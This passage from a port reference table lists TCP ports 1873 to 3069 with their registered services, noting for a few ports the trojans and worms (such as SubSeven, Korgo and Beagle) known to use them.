TCP  1873  Fjmpjps
TCP  1874  Fjswapsnp
TCP  1881  IBM MQSeries
TCP  1895  Vista 4GL
TCP  1899  MC2Studios
TCP  1900  SSDP
TCP  1901  Fujitsu ICL Terminal Emulator Program A
TCP  1902  Fujitsu ICL Terminal Emulator Program B
TCP  1903  Local Link Name Resolution
TCP  1904  Fujitsu ICL Terminal Emulator Program C
TCP  1905  Secure UP.Link Gateway Protocol
TCP  1906  TPortMapperReq
TCP  1907  IntraSTAR
TCP  1908  Dawn
TCP  1909  Global World Link
TCP  1910  ultrabac
TCP  1911  Starlight Networks Multimedia Transport Protocol
TCP  1912  rhp-iibp
TCP  1913  armadp
TCP  1914  Elm-Momentum
TCP  1915  FACELINK
TCP  1916  Persoft Persona
TCP  1917  nOAgent
TCP  1918  Candle Directory Service - NDS
TCP  1919  Candle Directory Service - DCH
TCP  1920  Candle Directory Service - FERRET
TCP  1921  NoAdmin
TCP  1922  Tapestry
TCP  1923  SPICE
TCP  1924  XIIP
TCP  1930  Drive AppServer
TCP  1931  AMD SCHED
TCP  1944  close-combat
TCP  1945  dialogic-elmd
TCP  1946  tekpls
TCP  1947  hlserver
TCP  1948  eye2eye
TCP  1949  ISMA Easdaq Live
TCP  1950  ISMA Easdaq Test
TCP  1951  bcs-lmserver
TCP  1952  mpnjsc
TCP  1953  Rapid Base
TCP  1961  BTS APPSERVER
TCP  1962  BIAP-MP
TCP  1963  WebMachine
TCP  1964  SOLID E ENGINE
TCP  1965  Tivoli NPM
TCP  1966  Slush
TCP  1967  SNS Quote
TCP  1972  Cache
TCP  1973  Data Link Switching Remote Access Protocol
TCP  1974  DRP
TCP  1975  TCO Flash Agent
TCP  1976  TCO Reg Agent
TCP  1977  TCO Address Book
TCP  1978  UniSQL
TCP  1979  UniSQL Java
TCP  1984  BB
TCP  1985  Hot Standby Router Protocol
TCP  1986  cisco license management
TCP  1987  cisco RSRB Priority 1 port
TCP  1988  cisco RSRB Priority 2 port
TCP  1989  MHSnet system
TCP  1990  cisco STUN Priority 1 port
TCP  1991  cisco STUN Priority 2 port
TCP  1992  IPsendmsg
TCP  1993  cisco SNMP TCP port
TCP  1994  cisco serial tunnel port
TCP  1995  cisco perf port
TCP  1996  cisco Remote SRB port
TCP  1997  cisco Gateway Discovery Protocol
TCP  1998  cisco X.25 service (XOT)
TCP  1999  cisco identification port / SubSeven (Windows Trojan) / Backdoor (Windows Trojan)
TCP  2000  Remotely Anywhere / VIA NET.WORKS PostOffice Plus
TCP  2001  Cisco mgmt / Remotely Anywhere
TCP  2002  globe
TCP  2003  GNU finger
TCP  2004  mailbox
TCP  2005  encrypted symmetric telnet/login
TCP  2006  invokator
TCP  2007  dectalk
TCP  2008  conf
TCP  2009  news
TCP  2010  search
TCP  2011  raid
TCP  2012  ttyinfo
TCP  2013  raid-am
TCP  2014  troff
TCP  2015  cypress
TCP  2016  bootserver
TCP  2017  cypress-stat
TCP  2018  terminaldb
TCP  2019  whosockami
TCP  2020  xinupageserver
TCP  2021  servexec
TCP  2022  down
TCP  2023  xinuexpansion3
TCP  2024  xinuexpansion4
TCP  2025  ellpack
TCP  2026  scrabble
TCP  2027  shadowserver
TCP  2028  submitserver
TCP  2030  device2
TCP  2032  blackboard
TCP  2033  glogger
TCP  2034  scoremgr
TCP  2035  imsldoc
TCP  2038  objectmanager
TCP  2040  lam
TCP  2041  W32.Korgo Worm / interbase
TCP  2042  isis
TCP  2043  isis-bcast
TCP  2044  rimsl
TCP  2045  cdfunc
TCP  2046  sdfunc
TCP  2047  dls
TCP  2048  dls-monitor
TCP  2049  Network File System - Sun Microsystems
TCP  2053  Kerberos de-multiplexer
TCP  2054  distrib-net
TCP  2065  Data Link Switch Read Port Number
TCP  2067  Data Link Switch Write Port Number
TCP  2080  Wingate
TCP  2090  Load Report Protocol
TCP  2091  PRP
TCP  2092  Descent 3
TCP  2093  NBX CC
TCP  2094  NBX AU
TCP  2095  NBX SER
TCP  2096  NBX DIR
TCP  2097  Jet Form Preview
TCP  2098  Dialog Port
TCP  2099  H.225.0 Annex G
TCP  2100  amiganetfs
TCP  2101  Microsoft Message Queuing / rtcm-sc104
TCP  2102  Zephyr server
TCP  2103  Microsoft Message Queuing RPC / Zephyr serv-hm connection
TCP  2104  Zephyr hostmanager
TCP  2105  Microsoft Message Queuing RPC / MiniPay
TCP  2106  MZAP
TCP  2107  Microsoft Message Queuing Management / BinTec Admin
TCP  2108  Comcam
TCP  2109  Ergolight
TCP  2110  UMSP
TCP  2111  DSATP
TCP  2112  Idonix MetaNet
TCP  2113  HSL StoRM
TCP  2114  NEWHEIGHTS
TCP  2115  KDM / Bugs (Windows Trojan)
TCP  2116  CCOWCMR
TCP  2117  MENTACLIENT
TCP  2118  MENTASERVER
TCP  2119  GSIGATEKEEPER
TCP  2120  Quick Eagle Networks CP
TCP  2121  CCProxy FTP / SCIENTIA-SSDB
TCP  2122  CauPC Remote Control
TCP  2123  GTP-Control Plane (3GPP)
TCP  2124  ELATELINK
TCP  2125  LOCKSTEP
TCP  2126  PktCable-COPS
TCP  2127  INDEX-PC-WB
TCP  2128  Net Steward Control
TCP  2129  cs-live.com
TCP  2130  SWC-XDS
TCP  2131  Avantageb2b
TCP  2132  AVAIL-EPMAP
TCP  2133  ZYMED-ZPP
TCP  2134  AVENUE
TCP  2135  Grid Resource Information Server
TCP  2136  APPWORXSRV
TCP  2137  CONNECT
TCP  2138  UNBIND-CLUSTER
TCP  2139  IAS-AUTH
TCP  2140  IAS-REG
TCP  2141  IAS-ADMIND
TCP  2142  TDM-OVER-IP
TCP  2143  Live Vault Job Control
TCP  2144  Live Vault Fast Object Transfer
TCP  2145  Live Vault Remote Diagnostic Console Support
TCP  2146  Live Vault Admin Event Notification
TCP  2147  Live Vault Authentication
TCP  2148  VERITAS UNIVERSAL COMMUNICATION LAYER
TCP  2149  ACPTSYS
TCP  2150  DYNAMIC3D
TCP  2151  DOCENT
TCP  2152  GTP-User Plane (3GPP)
TCP  2165  X-Bone API
TCP  2166  IWSERVER
TCP  2180  Millicent Vendor Gateway Server
TCP  2181  eforward
TCP  2190  TiVoConnect Beacon
TCP  2191  TvBus Messaging
TCP  2200  ICI
TCP  2201  Advanced Training System Program
TCP  2202  Int. Multimedia Teleconferencing Cosortium
TCP  2213  Kali
TCP  2220  Ganymede
TCP  2221  Rockwell CSP1
TCP  2222  Rockwell CSP2
TCP  2223  Rockwell CSP3
TCP  2232  IVS Video default
TCP  2233  INFOCRYPT
TCP  2234  DirectPlay
TCP  2235  Sercomm-WLink
TCP  2236  Nani
TCP  2237  Optech Port1 License Manager
TCP  2238  AVIVA SNA SERVER
TCP  2239  Image Query
TCP  2240  RECIPe
TCP  2241  IVS Daemon
TCP  2242  Folio Remote Server
TCP  2243  Magicom Protocol
TCP  2244  NMS Server
TCP  2245  HaO
TCP  2279  xmquery
TCP  2280  LNVPOLLER
TCP  2281  LNVCONSOLE
TCP  2282  LNVALARM
TCP  2283  Dumaru.Y (Windows trojan) / LNVSTATUS
TCP  2284  LNVMAPS
TCP  2285  LNVMAILMON
TCP  2286  NAS-Metering
TCP  2287  DNA
TCP  2288  NETML
TCP  2294  Konshus License Manager (FLEX)
TCP  2295  Advant License Manager
TCP  2296  Theta License Manager (Rainbow)
TCP  2297  D2K DataMover 1
TCP  2298  D2K DataMover 2
TCP  2299  PC Telecommute
TCP  2300  CVMMON
TCP  2301  Compaq HTTP
TCP  2302  Bindery Support
TCP  2303  Proxy Gateway
TCP  2304  Attachmate UTS
TCP  2305  MT ScaleServer
TCP  2306  TAPPI BoxNet
TCP  2307  pehelp
TCP  2308  sdhelp
TCP  2309  SD Server
TCP  2310  SD Client
TCP  2311  Message Service
TCP  2313  IAPP (Inter Access Point Protocol)
TCP  2314  CR WebSystems
TCP  2315  Precise Sft.
TCP  2316  SENT License Manager
TCP  2317  Attachmate G32
TCP  2318  Cadence Control
TCP  2319  InfoLibria
TCP  2320  Siebel NS
TCP  2321  RDLAP over UDP
TCP  2322  ofsd
TCP  2323  3d-nfsd
TCP  2324  Cosmocall
TCP  2325  Design Space License Management
TCP  2326  IDCP
TCP  2327  xingcsm
TCP  2328  Netrix SFTM
TCP  2329  NVD
TCP  2330  TSCCHAT
TCP  2331  AGENTVIEW
TCP  2332  RCC Host
TCP  2333  SNAPP
TCP  2334  ACE Client Auth
TCP  2335  ACE Proxy
TCP  2336  Apple UG Control
TCP  2337  ideesrv
TCP  2338  Norton Lambert
TCP  2339  3Com WebView
TCP  2340  WRS Registry
TCP  2341  XIO Status
TCP  2342  Seagate Manage Exec
TCP  2343  nati logos
TCP  2344  fcmsys
TCP  2345  dbm
TCP  2346  Game Connection Port
TCP  2347  Game Announcement and Location
TCP  2348  Information to query for game status
TCP  2349  Diagnostics Port
TCP  2350  psbserver
TCP  2351  psrserver
TCP  2352  pslserver
TCP  2353  pspserver
TCP  2354  psprserver
TCP  2355  psdbserver
TCP  2356  GXT License Managemant
TCP  2357  UniHub Server
TCP  2358  Futrix
TCP  2359  FlukeServer
TCP  2360  NexstorIndLtd
TCP  2361  TL1
TCP  2362  digiman
TCP  2363  Media Central NFSD
TCP  2364  OI-2000
TCP  2365  dbref
TCP  2366  qip-login
TCP  2367  Service Control
TCP  2368  OpenTable
TCP  2369  ACS2000 DSP
TCP  2370  L3-HBMon
TCP  2381  Compaq HTTPS
TCP  2382  Microsoft OLAP
TCP  2383  Microsoft OLAP
TCP  2384  SD-REQUEST
TCP  2389  OpenView Session Mgr
TCP  2390  RSMTP
TCP  2391  3COM Net Management
TCP  2392  Tactical Auth
TCP  2393  MS OLAP 1
TCP  2394  MS OLAP 2
TCP  2395  LAN900 Remote
TCP  2396  Wusage
TCP  2397  NCL
TCP  2398  Orbiter
TCP  2399  FileMaker Inc. - Data Access Layer
TCP  2400  OpEquus Server
TCP  2401  cvspserver
TCP  2402  TaskMaster 2000 Server
TCP  2403  TaskMaster 2000 Web
TCP  2404  IEC870-5-104
TCP  2405  TRC Netpoll
TCP  2406  JediServer
TCP  2407  Orion
TCP  2408  OptimaNet
TCP  2409  SNS Protocol
TCP  2410  VRTS Registry
TCP  2411  Netwave AP Management
TCP  2412  CDN
TCP  2413  orion-rmi-reg
TCP  2414  Interlingua
TCP  2415  COMTEST
TCP  2416  RMT Server
TCP  2417  Composit Server
TCP  2418  cas
TCP  2419  Attachmate S2S
TCP  2420  DSL Remote Management
TCP  2421  G-Talk
TCP  2422  CRMSBITS
TCP  2423  RNRP
TCP  2424  KOFAX-SVR
TCP  2425  Fujitsu App Manager
TCP  2426  Appliant TCP
TCP  2427  Media Gateway Control Protocol Gateway
TCP  2428  One Way Trip Time
TCP  2429  FT-ROLE
TCP  2430  venus
TCP  2431  venus-se
TCP  2432  codasrv
TCP  2433  codasrv-se
TCP  2434  pxc-epmap
TCP  2435  OptiLogic
TCP  2436  TOP/X
TCP  2437  UniControl
TCP  2438  MSP
TCP  2439  SybaseDBSynch
TCP  2440  Spearway Lockers
TCP  2441  pvsw-inet
TCP  2442  Netangel
TCP  2443  PowerClient Central Storage Facility
TCP  2444  BT PP2 Sectrans
TCP  2445  DTN1
TCP  2446  bues_service
TCP  2447  OpenView NNM daemon
TCP  2448  hpppsvr
TCP  2449  RATL
TCP  2450  netadmin
TCP  2451  netchat
TCP  2452  SnifferClient
TCP  2453  madge-om
TCP  2454  IndX-DDS
TCP  2455  WAGO-IO-SYSTEM
TCP  2456  altav-remmgt
TCP  2457  Rapido_IP
TCP  2458  griffin
TCP  2459  Community
TCP  2460  ms-theater
TCP  2461  qadmifoper
TCP  2462  qadmifevent
TCP  2463  Symbios Raid
TCP  2464  DirecPC SI
TCP  2465  Load Balance Management
TCP  2466  Load Balance Forwarding
TCP  2467  High Criteria
TCP  2468  qip_msgd
TCP  2469  MTI-TCS-COMM
TCP  2470  taskman port
TCP  2471  SeaODBC
TCP  2472  C3
TCP  2473  Aker-cdp
TCP  2474  Vital Analysis
TCP  2475  ACE Server
TCP  2476  ACE Server Propagation
TCP  2477  SecurSight Certificate Valifation Service
TCP  2478  SecurSight Authentication Server (SLL)
TCP  2479  SecurSight Event Logging Server (SSL)
TCP  2480  Lingwood's Detail
TCP  2481  Oracle GIOP
TCP  2482  Oracle GIOP SSL
TCP  2483  Oracle TTC
TCP  2484  Oracle TTC SSL
TCP  2485  Net Objects1
TCP  2486  Net Objects2
TCP  2487  Policy Notice Service
TCP  2488  Moy Corporation
TCP  2489  TSILB
TCP  2490  qip_qdhcp
TCP  2491  Conclave CPP
TCP  2492  GROOVE
TCP  2493  Talarian MQS
TCP  2494  BMC AR
TCP  2495  Fast Remote Services
TCP  2496  DIRGIS
TCP  2497  Quad DB
TCP  2498  ODN-CasTraq
TCP  2499  UniControl
TCP  2500  Resource Tracking system server
TCP  2501  Resource Tracking system client
TCP  2502  Kentrox Protocol
TCP  2503  NMS-DPNSS
TCP  2504  WLBS
TCP  2505  torque-traffic
TCP  2506  jbroker
TCP  2507  spock
TCP  2508  JDataStore
TCP  2509  fjmpss
TCP  2510  fjappmgrbulk
TCP  2511  Metastorm
TCP  2512  Citrix IMA
TCP  2513  Citrix ADMIN
TCP  2514  Facsys NTP
TCP  2515  Facsys Router
TCP  2516  Main Control
TCP  2517  H.323 Annex E call signaling transport
TCP  2518  Willy
TCP  2519  globmsgsvc
TCP  2520  pvsw
TCP  2521  Adaptec Manager
TCP  2522  WinDb
TCP  2523  Qke LLC V.3
TCP  2524  Optiwave License Management
TCP  2525  MS V-Worlds
TCP  2526  EMA License Manager
TCP  2527  IQ Server
TCP  2528  NCR CCL
TCP  2529  UTS FTP
TCP  2530  VR Commerce
TCP  2531  ITO-E GUI
TCP  2532  OVTOPMD
TCP  2533  SnifferServer
TCP  2534  Combox Web Access
TCP  2535  W32.Beagle trojan / MADCAP
TCP  2536  btpp2audctr1
TCP  2537  Upgrade Protocol
TCP  2538  vnwk-prapi
TCP  2539  VSI Admin
TCP  2540  LonWorks
TCP  2541  LonWorks2
TCP  2542  daVinci
TCP  2543  REFTEK
TCP  2544  Novell ZEN
TCP  2545  sis-emt
TCP  2546  vytalvaultbrtp
TCP  2547  vytalvaultvsmp
TCP  2548  vytalvaultpipe
TCP  2549  IPASS
TCP  2550  ADS
TCP  2551  ISG UDA Server
TCP  2552  Call Logging
TCP  2553  efidiningport
TCP  2554  VCnet-Link v10
TCP  2555  Compaq WCP
TCP  2556  W32.Beagle.N trojan / MADCAP / nicetec-nmsvc
TCP  2557  nicetec-mgmt
TCP  2558  PCLE Multi Media
TCP  2559  LSTP
TCP  2560  labrat
TCP  2561  MosaixCC
TCP  2562  Delibo
TCP  2563  CTI Redwood
TCP  2564  HP 3000 NS/VT block mode telnet
TCP  2565  Coordinator Server
TCP  2566  pcs-pcw
TCP  2567  Cisco Line Protocol
TCP  2568  SPAM TRAP
TCP  2569  Sonus Call Signal
TCP  2570  HS Port
TCP  2571  CECSVC
TCP  2572  IBP
TCP  2573  Trust Establish
TCP  2574  Blockade BPSP
TCP  2575  HL7
TCP  2576  TCL Pro Debugger
TCP  2577  Scriptics Lsrvr
TCP  2578  RVS ISDN DCP
TCP  2579  mpfoncl
TCP  2580  Tributary
TCP  2581  ARGIS TE
TCP  2582  ARGIS DS
TCP  2583  MON / Wincrash2
TCP  2584  cyaserv
TCP  2585  NETX Server
TCP  2586  NETX Agent
TCP  2587  MASC
TCP  2588  Privilege
TCP  2589  quartus tcl
TCP  2590  idotdist
TCP  2591  Maytag Shuffle
TCP  2592  netrek
TCP  2593  MNS Mail Notice Service
TCP  2594  Data Base Server
TCP  2595  World Fusion 1
TCP  2596  World Fusion 2
TCP  2597  Homestead Glory
TCP  2598  Citrix MA Client
TCP  2599  Meridian Data
TCP  2600  HPSTGMGR
TCP  2601  discp client
TCP  2602  discp server
TCP  2603  Service Meter
TCP  2604  NSC CCS
TCP  2605  NSC POSA
TCP  2606  Dell Netmon
TCP  2607  Dell Connection
TCP  2608  Wag Service
TCP  2609  System Monitor
TCP  2610  VersaTek
TCP  2611  LIONHEAD
TCP  2612  Qpasa Agent
TCP  2613  SMNTUBootstrap
TCP  2614  Never Offline
TCP  2615  firepower
TCP  2616  appswitch-emp
TCP  2617  Clinical Context Managers
TCP  2618  Priority E-Com
TCP  2619  bruce
TCP  2620  LPSRecommender
TCP  2621  Miles Apart Jukebox Server
TCP  2622  MetricaDBC
TCP  2623  LMDP
TCP  2624  Aria
TCP  2625  Blwnkl Port
TCP  2626  gbjd816
TCP  2627  Moshe Beeri
TCP  2628  DICT
TCP  2629  Sitara Server
TCP  2630  Sitara Management
TCP  2631  Sitara Dir
TCP  2632  IRdg Post
TCP  2633  InterIntelli
TCP  2634  PK Electronics
TCP  2635  Back Burner
TCP  2636  Solve
TCP  2637  Import Document Service
TCP  2638  Sybase Anywhere
TCP  2639  AMInet
TCP  2640  Sabbagh Associates Licence Manager
TCP  2641  HDL Server
TCP  2642  Tragic
TCP  2643  GTE-SAMP
TCP  2644  Travsoft IPX Tunnel
TCP  2645  Novell IPX CMD
TCP  2646  AND Licence Manager
TCP  2647  SyncServer
TCP  2648  Upsnotifyprot
TCP  2649  VPSIPPORT
TCP  2650  eristwoguns
TCP  2651  EBInSite
TCP  2652  InterPathPanel
TCP  2653  Sonus
TCP  2654  Corel VNC Admin
TCP  2655  UNIX Nt Glue
TCP  2656  Kana
TCP  2657  SNS Dispatcher
TCP  2658  SNS Admin
TCP  2659  SNS Query
TCP  2660  GC Monitor
TCP  2661  OLHOST
TCP  2662  BinTec-CAPI
TCP  2663  BinTec-TAPI
TCP  2664  Command MQ GM
TCP  2665  Command MQ PM
TCP  2666  extensis
TCP  2667  Alarm Clock Server
TCP  2668  Alarm Clock Client
TCP  2669  TOAD
TCP  2670  TVE Announce
TCP  2671  newlixreg
TCP  2672  nhserver
TCP  2673  First Call 42
TCP  2674  ewnn
TCP  2675  TTC ETAP
TCP  2676  SIMSLink
TCP  2677  Gadget Gate 1 Way
TCP  2678  Gadget Gate 2 Way
TCP  2679  Sync Server SSL
TCP  2680  pxc-sapxom
TCP  2681  mpnjsomb
TCP  2682  SRSP
TCP  2683  NCDLoadBalance
TCP  2684  mpnjsosv
TCP  2685  mpnjsocl
TCP  2686  mpnjsomg
TCP  2687  pq-lic-mgmt
TCP  2688  md-cf-HTTP
TCP  2689  FastLynx
TCP  2690  HP NNM Embedded Database
TCP  2691  IT Internet
TCP  2692  Admins LMS
TCP  2693  belarc-HTTP
TCP  2694  pwrsevent
TCP  2695  VSPREAD
TCP  2696  Unify Admin
TCP  2697  Oce SNMP Trap Port
TCP  2698  MCK-IVPIP
TCP  2699  Csoft Plus Client
TCP  2700  tqdata
TCP  2701  SMS Remote Control (control)
TCP  2702  SMS Remote Control (data)
TCP  2703  SMS Remote Control (chat)
TCP  2704  SMS Remote File Transfer
TCP  2705  SDS Admin
TCP  2706  NCD Mirroring
TCP  2707  EMCSYMAPIPORT
TCP  2708  Banyan-Net
TCP  2709  Supermon
TCP  2710  SSO Service
TCP  2711  SSO Control
TCP  2712  Axapta Object Communication Protocol
TCP  2713  Raven1
TCP  2714  Raven2
TCP  2715  HPSTGMGR2
TCP  2716  Inova IP Disco
TCP  2717  PN REQUESTER
TCP  2718  PN REQUESTER 2
TCP  2719  Scan & Change
TCP  2720  wkars
TCP  2721  Smart Diagnose
TCP  2722  Proactive Server
TCP  2723  WatchDog NT
TCP  2724  qotps
TCP  2725  SQL Analysis Services / MSOLAP PTP2
TCP  2726  TAMS
TCP  2727  Media Gateway Control Protocol Call Agent
TCP  2728  SQDR
TCP  2729  TCIM Control
TCP  2730  NEC RaidPlus
TCP  2731  NetDragon Messanger
TCP  2732  G5M
TCP  2733  Signet CTF
TCP  2734  CCS Software
TCP  2735  Monitor Console
TCP  2736  RADWIZ NMS SRV
TCP  2737  SRP Feedback
TCP  2738  NDL TCP-OSI Gateway
TCP  2739  TN Timing
TCP  2740  Alarm
TCP  2741  TSB
TCP  2742  TSB2
TCP  2743  murx
TCP  2744  honyaku
TCP  2745  W32.Beagle.C trojan) / URBISNET
TCP  2746  CPUDPENCAP
TCP  2747  yk.fujitsu.co.jp
TCP  2748  yk.fujitsu.co.jp
TCP  2749  yk.fujitsu.co.jp
TCP  2750  yk.fujitsu.co.jp
TCP  2751  yk.fujitsu.co.jp
TCP  2752  RSISYS ACCESS
TCP  2753  de-spot
TCP  2754  APOLLO CC
TCP  2755  Express Pay
TCP  2756  simplement-tie
TCP  2757  CNRP
TCP  2758  APOLLO Status
TCP  2759  APOLLO GMS
TCP  2760  Saba MS
TCP  2761  DICOM ISCL
TCP  2762  DICOM TLS
TCP  2763  Desktop DNA
TCP  2764  Data Insurance
TCP  2765  qip-audup
TCP  2766  Compaq SCP
TCP  2767  UADTC
TCP  2768  UACS
TCP  2769  Single Point MVS
TCP  2770  Veronica
TCP  2771  Vergence CM
TCP  2772  auris
TCP  2773  PC Backup
TCP  2774  PC Backup
TCP  2775  SMMP
TCP  2776  Ridgeway Systems & Software
TCP  2777  Ridgeway Systems & Software
TCP  2778  Gwen-Sonya
TCP  2779  LBC Sync
TCP  2780  LBC Control
TCP  2781  whosells
TCP  2782  everydayrc
TCP  2783  AISES
TCP  2784  world wide web - development
TCP  2785  aic-np
TCP  2786  aic-oncrpc - Destiny MCD database
TCP  2787  piccolo - Cornerstone Software
TCP  2788  NetWare Loadable Module - Seagate Software
TCP  2789  Media Agent
TCP  2790  PLG Proxy
TCP  2791  MT Port Registrator
TCP  2792  f5-globalsite
TCP  2793  initlsmsad
TCP  2794  aaftp
TCP  2795  LiveStats
TCP  2796  ac-tech
TCP  2797  esp-encap
TCP  2798  TMESIS-UPShot
TCP  2799  ICON Discover
TCP  2800  ACC RAID
TCP  2801  IGCP
TCP  2802  Veritas TCP1
TCP  2803  btprjctrl
TCP  2804  Telexis VTU
TCP  2805  WTA WSP-S
TCP  2806  cspuni
TCP  2807  cspmulti
TCP  2808  J-LAN-P
TCP  2809  CORBA LOC
TCP  2810  Active Net Steward
TCP  2811  GSI FTP
TCP  2812  atmtcp
TCP  2813  llm-pass
TCP  2814  llm-csv
TCP  2815  LBC Measurement
TCP  2816  LBC Watchdog
TCP  2817  NMSig Port
TCP  2818  rmlnk
TCP  2819  FC Fault Notification
TCP  2820  UniVision
TCP  2821  vml_dms
TCP  2822  ka0wuc
TCP  2823  CQG Net/LAN
TCP  2826  slc systemlog
TCP  2827  slc ctrlrloops
TCP  2828  ITM License Manager
TCP  2829  silkp1
TCP  2830  silkp2
TCP  2831  silkp3
TCP  2832  silkp4
TCP  2833  glishd
TCP  2834  EVTP
TCP  2835  EVTP-DATA
TCP  2836  catalyst
TCP  2837  Repliweb
TCP  2838  Starbot
TCP  2839  NMSigPort
TCP  2840  l3-exprt
TCP  2841  l3-ranger
TCP  2842  l3-hawk
TCP  2843  PDnet
TCP  2844  BPCP POLL
TCP  2845  BPCP TRAP
TCP  2846  AIMPP Hello
TCP  2847  AIMPP Port Req
TCP  2848  AMT-BLC-PORT
TCP  2849  FXP
TCP  2850  MetaConsole
TCP  2851  webemshttp
TCP  2852  bears-01
TCP  2853  ISPipes
TCP  2854  InfoMover
TCP  2856  cesdinv
TCP  2857  SimCtIP
TCP  2858  ECNP
TCP  2859  Active Memory
TCP  2860  Dialpad Voice 1
TCP  2861  Dialpad Voice 2
TCP  2862  TTG Protocol
TCP  2863  Sonar Data
TCP  2864  main 5001 cmd
TCP  2865  pit-vpn
TCP  2866  lwlistener
TCP  2867  esps-portal
TCP  2868  NPEP Messaging
TCP  2869  SSDP event notification / ICSLAP
TCP  2870  daishi
TCP  2871  MSI Select Play
TCP  2872  CONTRACT
TCP  2873  PASPAR2 ZoomIn
TCP  2874  dxmessagebase1
TCP  2875  dxmessagebase2
TCP  2876  SPS Tunnel
TCP  2877  BLUELANCE
TCP  2878  AAP
TCP  2879  ucentric-ds
TCP  2880  synapse
TCP  2881  NDSP
TCP  2882  NDTP
TCP  2883  NDNP
TCP  2884  Flash Msg
TCP  2885  TopFlow
TCP  2886  RESPONSELOGIC
TCP  2887  aironet
TCP  2888  SPCSDLOBBY
TCP  2889  RSOM
TCP  2890  CSPCLMULTI
TCP  2891  CINEGRFX-ELMD License Manager
TCP  2892  SNIFFERDATA
TCP  2893  VSECONNECTOR
TCP  2894  ABACUS-REMOTE
TCP  2895  NATUS LINK
TCP  2896  ECOVISIONG6-1
TCP  2897  Citrix RTMP
TCP  2898  APPLIANCE-CFG
TCP  2899  case.nm.fujitsu.co.jp
TCP  2900  magisoft.com
TCP  2901  ALLSTORCNS
TCP  2902  NET ASPI
TCP  2903  SUITCASE
TCP  2904  M2UA
TCP  2905  M3UA
TCP  2906  CALLER9
TCP  2907  WEBMETHODS B2B
TCP  2908  mao
TCP  2909  Funk Dialout
TCP  2910  TDAccess
TCP  2911  Blockade
TCP  2912  Epicon
TCP  2913  Booster Ware
TCP  2914  Game Lobby
TCP  2915  TK Socket
TCP  2916  Elvin Server
TCP  2917  Elvin Client
TCP  2918  Kasten Chase Pad
TCP  2919  ROBOER
TCP  2920  ROBOEDA
TCP  2921  CESD Contents Delivery Management
TCP  2922  CESD Contents Delivery Data Transfer
TCP  2923  WTA-WSP-WTP-S
TCP  2924  PRECISE-VIP
TCP  2925  Firewall Redundancy Protocol
TCP  2926  MOBILE-FILE-DL
TCP  2927  UNIMOBILECTRL
TCP  2928  REDSTONE-CPSS
TCP  2929  PANJA-WEBADMIN
TCP  2930  PANJA-WEBLINX
TCP  2931  Circle-X
TCP  2932  INCP
TCP  2933  4-TIER OPM GW
TCP  2934  4-TIER OPM CLI
TCP  2935  QTP
TCP  2936  OTPatch
TCP  2937  PNACONSULT-LM
TCP  2938  SM-PAS-1
TCP  2939  SM-PAS-2
TCP  2940  SM-PAS-3
TCP  2941  SM-PAS-4
TCP  2942  SM-PAS-5
TCP  2943  TTNRepository
TCP  2944  Megaco H-248
TCP  2945  H248 Binary
TCP  2946  FJSVmpor
TCP  2947  GPSD
TCP  2948  WAP PUSH
TCP  2949  WAP PUSH SECURE
TCP  2950  ESIP
TCP  2951  OTTP
TCP  2952  MPFWSAS
TCP  2953  OVALARMSRV
TCP  2954  OVALARMSRV-CMD
TCP  2955  CSNOTIFY
TCP  2956  OVRIMOSDBMAN
TCP  2957  JAMCT5
TCP  2958  JAMCT6
TCP  2959  RMOPAGT
TCP  2960  DFOXSERVER
TCP  2961  BOLDSOFT-LM
TCP  2962  IPH-POLICY-CLI
TCP  2963  IPH-POLICY-ADM
TCP  2964  BULLANT SRAP
TCP  2965  BULLANT RAP
TCP  2966  IDP-INFOTRIEVE
TCP  2967  SSC-AGENT
TCP  2968  ENPP
TCP  2969  UPnP / ESSP
TCP  2970  INDEX-NET
TCP  2971  Net Clip
TCP  2972  PMSM Webrctl
TCP  2973  SV Networks
TCP  2974  Signal
TCP  2975  Fujitsu Configuration Management Service
TCP  2976  CNS Server Port
TCP  2977  TTCs Enterprise Test Access Protocol - NS
TCP  2978  TTCs Enterprise Test Access Protocol - DS
TCP  2979  H.263 Video Streaming
TCP  2980  Instant Messaging Service
TCP  2981  MYLXAMPORT
TCP  2982  IWB-WHITEBOARD
TCP  2983  NETPLAN
TCP  2984  HPIDSADMIN
TCP  2985  HPIDSAGENT
TCP  2986  STONEFALLS
TCP  2987  IDENTIFY
TCP  2988  CLASSIFY
TCP  2989  ZARKOV
TCP  2990  BOSCAP
TCP  2991  WKSTN-MON
TCP  2992  ITB301
TCP  2993  VERITAS VIS1
TCP  2994  VERITAS VIS2
TCP  2995  IDRS
TCP  2996  vsixml
TCP  2997  REBOL
TCP  2998  Real Secure
TCP  2999  RemoteWare Unassigned
TCP  3000  RemoteWare Client
TCP  3001  Phatbot Worm / Redwood Broker
TCP  3002  RemoteWare Server
TCP  3003  CGMS
TCP  3004  Csoft Agent
TCP  3005  Genius License Manager
TCP  3006  Instant Internet Admin
TCP  3007  Lotus Mail Tracking Agent Protocol
TCP  3008  Midnight Technologies
TCP  3009  PXC-NTFY
TCP  3010  Telerate Workstation
TCP  3011  Trusted Web
TCP  3012  Trusted Web Client
TCP  3013  Gilat Sky Surfer
TCP  3014  Broker Service
TCP  3015  NATI DSTP
TCP  3016  Notify Server
TCP  3017  Event Listener
TCP  3018  Service Registry
TCP  3019  Resource Manager
TCP  3020  CIFS
TCP  3021  AGRI Server
TCP  3022  CSREGAGENT
TCP  3023  magicnotes
TCP  3024  NDS_SSO
TCP  3025  Arepa Raft
TCP  3026  AGRI Gateway
TCP  3027  LiebDevMgmt_C
TCP  3028  LiebDevMgmt_DM
TCP  3029  LiebDevMgmt_A
TCP  3030  Arepa Cas
TCP  3031  AgentVU
TCP  3032  Redwood Chat
TCP  3033  PDB
TCP  3034  Osmosis AEEA
TCP  3035  FJSV gssagt
TCP  3036  Hagel DUMP
TCP  3037  HP SAN Mgmt
TCP  3038  Santak UPS
TCP  3039  Cogitate Inc.
TCP  3040  Tomato Springs
TCP  3041  di-traceware
TCP  3042  journee
TCP  3043  BRP
TCP  3045  ResponseNet
TCP  3046  di-ase
TCP  3047  Fast Security HL Server
TCP  3048  Sierra Net PC Trader
TCP  3049  NSWS
TCP  3050  gds_db
TCP  3051  Galaxy Server
TCP  3052  APCPCNS
TCP  3053  dsom-server
TCP  3054  AMT CNF PROT
TCP  3055  Policy Server
TCP  3056  CDL Server
TCP  3057  GoAhead FldUp
TCP  3058  videobeans
TCP  3059  qsoft
TCP  3060  interserver
TCP  3061  cautcpd
TCP  3062  ncacn-ip-tcp
TCP  3063  ncadg-ip-udp
TCP  3065  slinterbase
TCP  3066  NETATTACHSDMP
TCP  3067  W32.Korgo Worm / FJHPJP
TCP  3068  ls3 Broadcast
TCP  3069  ls3
